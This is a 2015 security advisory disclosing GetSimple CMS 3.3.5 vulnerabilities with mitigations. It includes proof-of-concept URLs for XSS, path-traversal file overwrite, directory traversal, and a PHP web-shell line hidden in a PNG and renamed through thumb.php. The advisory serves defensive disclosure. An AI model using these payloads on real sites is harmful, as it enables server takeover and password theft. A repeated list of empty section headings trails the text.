GetSimpleCMS 3.3.5: XSS, Code Execution, DOS, Password Leak, Weak Authentication, Misc

Vulnerability: XSS, Code Execution, DOS, Password Leak, Weak Authentication, Misc
Affected Software: GetSimple CMS
Affected Version: 3.3.5 (probably also prior versions)
Partially Patched Version: 3.3.6
Risk: Medium-High
Vendor Contacted: 2015-06-14
Vendor Partial Fix: 2015-07-14
Public Disclosure: 2015-07-15

GetSimple CMS is a content management system written in PHP. It does not use a database, but xml files instead.

There are various vulnerabilities in version 3.3.5, most of which are fixed in version 3.3.6.

For version 3.3.6 it is important that the htaccess file of GetSimple CMS can be read by the server, as otherwise passwords and other sensitive information will be disclosed (the functionality of the website itself is not affected by an unread htaccess file, so it might go unnoticed).

Password Leak (only partially fixed 3.3.6)

Risk

Medium-High; Passwords may leak, depending on Server configuration

Description

A lot of sensitive information is stored in .xml files inside the web root. The .htaccess file of GetSimpleCMS does prevent access to .xml files, but if the htaccess file is not used – for example because AllowOverride None is set (eg for performance or security reasons) – these files become readable. There is no warning in the admin area for when this is happening.

Additionally, backups of these files may be stored with the extension .bak, access to which is not denied by the .htaccess file.

The mentioned files can for example be found at the following locations:

http://localhost/GetSimpleCMS-3.3.5/backups/users/username.xml.bak
http://localhost/GetSimpleCMS-3.3.5/data/users/username.xml

Other xml files contain further sensitive information.

Mitigation

Securing xml files like these is not so easy. An alternative would be to store users in PHP files (properly escaped, as otherwise creating new users might lead to code execution).

If doing it with xml files, it might be a good idea to check if the files are readable from the outside, and if they are, display a large warning.

[I have seen the recommendation in the documentation that admin/health-check.php should be visited. But I would assume that most users do not do that, and its report does not indicate a security problem; it shows eg “0777 Writable – OK” in green; passwords should really be stored securely by default]

Notes on Vendor Fix

The vendor now also forbids access to .bak files. Other than that, this issue was not fixed by the vendor, as it is not an issue if the user has configured the webserver in a specific way.

Because of this, it is extremely important that AllowOverride None is set in the configuration of Apache.

Risk

Medium; Authentication bypass, depending on Server configuration

Description

The cookie used to authenticate does not contain truly random data, and never changes. It does contain:

$USR (user name)
$SALT (per default a value readable in http://localhost/GetSimpleCMS-3.3.5/data/other/authorization.xml, otherwise the global GSUSECUSTOMSALT which is known to other users)
$cookie_name (contains the site name and the site version, none of which should be sensitive information, and can be easily found in various files)

It is relatively easy for an attacker to guess all of these values, which would enable them to log in as any user.

Mitigation

Use sessions instead of cookies, or use random data for cookies (stored securely).

Insufficient CSRF Protection (not fixed in 3.3.6)

Risk

Low-Medium; CSRF protection can be bypassed by attacker, depending on Server configuration

Description

The CSRF nonce does not contain truly random data and can thus be guessed by an attacker. It does contain:

$action (known to attacker)
$file (known to attacker)
$SALT (site salt, see above)
$uid (user agent)
$time (two hour window)
$USR (user name)

$time is not a problem. If an attacker wants to, they can automatically update it in their attack code. This leaves the user agent. There are a lot of lists with the most common user agents available, and they cover a high percentage of used user agents, so this value can also relatively easily be guessed by an attacker.

Mitigation

Use truly random data for CSRF token, stored in the session.

Code Execution (Admin)

### Risk

Medium; An admin can execute arbitrary PHP code without using the designated theme editor (this is bad because some users might disable the theme editor for security reasons)

POC

A valid image file with PHP code inside is needed (can eg be created by creating a 1×1 png via gimp, and editing “created by gimp” in vim to be <?php passthru($_GET['c']); ?>)
Upload image
rename file extensions: http://localhost/GetSimpleCMS-3.3.5/admin/inc/thumb.php?src=evil.png&dest=evil.php

Mitigation

Check file extension when renaming.

DOS (via CSRF)

Risk

Medium; Relevant System files can be destroyed by an admin or by an attacker if admin visits their website

Description

Any file on the system that the web user has access to can be overwritten with an image file that already exists on the server. Credentials are required, but the request is not protected by CSRF protection.

POC
```
http://localhost/GetSimpleCMS-3.3.5/admin/inc/thumb.php?src=evil.png&dest=.../...//.../...//.../...//.../...//.../...//var/www/important
```
Mitigation
1. Replace current insufficient directory traversal protection (filtering out ../) with proper protection (eg filepath_is_safe)
2. Check if dest already exists, if so, don’t overwrite it
3. Add CSRF protection to thumb.php
XSS

Risk

Medium; arbitrary JavaScript execution, which can lead to cookie stealing, key logging, and CSRF protection bypass, which in this case leads to arbitrary code execution via eg the theme editor

POC
```
http://localhost/GetSimpleCMS-3.3.5/admin/filebrowser.php?returnid=foobar&func=foobar %3D%3D 'function') {}}}alert(1); </script>
```
Code
```
filebrowser.php:45

    <script type='text/javascript'>

    function submitLink($funcNum, $url) {
        [...]
        <?php
            if (isset($_GET['func'])){
            $func = @$_GET['func'];
        ?>
                if(window.opener){
                    if(typeof window.opener.<?php echo $func; ?> == 'function') {
                        window.opener.<?php echo $func; ?>('<?php echo $returnid; ?>');
                    }
                }      
        <?php
            }
        }
        [...]
    }
    </script>
```
Mitigation

Create a whitelist of acceptable functions, and check if $func is in it.

Code Execution (Admin, not with default config)

Risk

Minimal

Description

Currently, this is the function that validates that no invalid files (such as PHP files) are uploaded:
```
function validate_safe_file($file, $name, $mime){
    global $mime_type_blacklist, $file_ext_blacklist, $mime_type_whitelist, $file_ext_whitelist;

    include(GSADMININCPATH.'configuration.php');

    $file_extention = pathinfo($name,PATHINFO_EXTENSION);
    $file_mime_type = $mime;

    if ($mime_type_whitelist && in_arrayi($file_mime_type, $mime_type_whitelist)) {
        return true;   
    } elseif ($file_ext_whitelist && $in_arrayi($file_extention, $file_ext_whitelist)) {
        return true;   
    }

    // skip blackist checks if whitelists exist
    if($mime_type_whitelist || $file_ext_whitelist) return false;

    if (in_arrayi($file_mime_type, $mime_type_blacklist)) {
        return false;  
    } elseif (in_arrayi($file_extention, $file_ext_blacklist)) {
        return false;  
    } else {
        return true;   
    }
}
```
This function works fine with default configuration, because the whitelist is not used. But if a user were to use the whitelist approach (because whitelists are safer than blacklists), this would actually be vulnerable, as it would then rely on the given mime type, which is entirely user controlled.

Mitigation

Only return true if the mime type as well as the file extention is inside the respective whitelist.

Directory Traversal

Risk

minimal; it is possible to go up one directory when viewing files

POC
```
localhost/GetSimpleCMS-3.3.5/admin/theme-edit.php?t=..&f=gsconfig.php&s=Edit
```
Mitigation

Add an additional check for “..”, or (prefered) perform the filepath_is_safe check on “tsl($template) . $template_file” right before file_get_contents.

Misc

Insecure Hashing

sha1 and a global site salt instead of a proper hashing function and per-user salts are not really considered secure enough anymore; It would be good to use bcrypt or similar instead.

PHP File Edit

PHP file edit (such as provided by the theme editor) leads to code execution, which significantly increases the damage other vulnerabilities can do. Eg XSS, CSRF, or weak authentication now not only lead to the application being compromised, but to the compromise of everything the web user has access to.

It might be a good idea to add a configuration field to disable this, so that users who want additional security can have it.

Timeline
- 2015-06-14: Requesting Contact Email via official forum
- 2015-06-15: Vendor Reply
- 2015-06-15: Send Advisory
- 2015-06-16: Vendor Confirmation, Issues opened
- 2015-06-22: Vendor Released Fix as Beta Version
- 2015-07-13: Disclosure Announced
- 2015-07-13: Vendor Confirmation
- 2015-07-14: Vendor Releases Fix
- 2015-07-15: Disclosure

Password Leak (only partially fixed 3.3.6)

Risk

Description

Mitigation

Notes on Vendor Fix

Insufficient Cookie Authentication (not fixed in 3.3.6)

Risk

Description

Mitigation

Insufficient CSRF Protection (not fixed in 3.3.6)

Risk

Description

Mitigation

Code Execution (Admin)

### Risk

POC

Mitigation

DOS (via CSRF)

Risk

Description

POC

Mitigation

XSS

Risk

POC

Code

Mitigation

Code Execution (Admin, not with default config)

Risk

Description

Mitigation

Directory Traversal

Risk

POC

Mitigation

Misc

Insecure Hashing

PHP File Edit

Timeline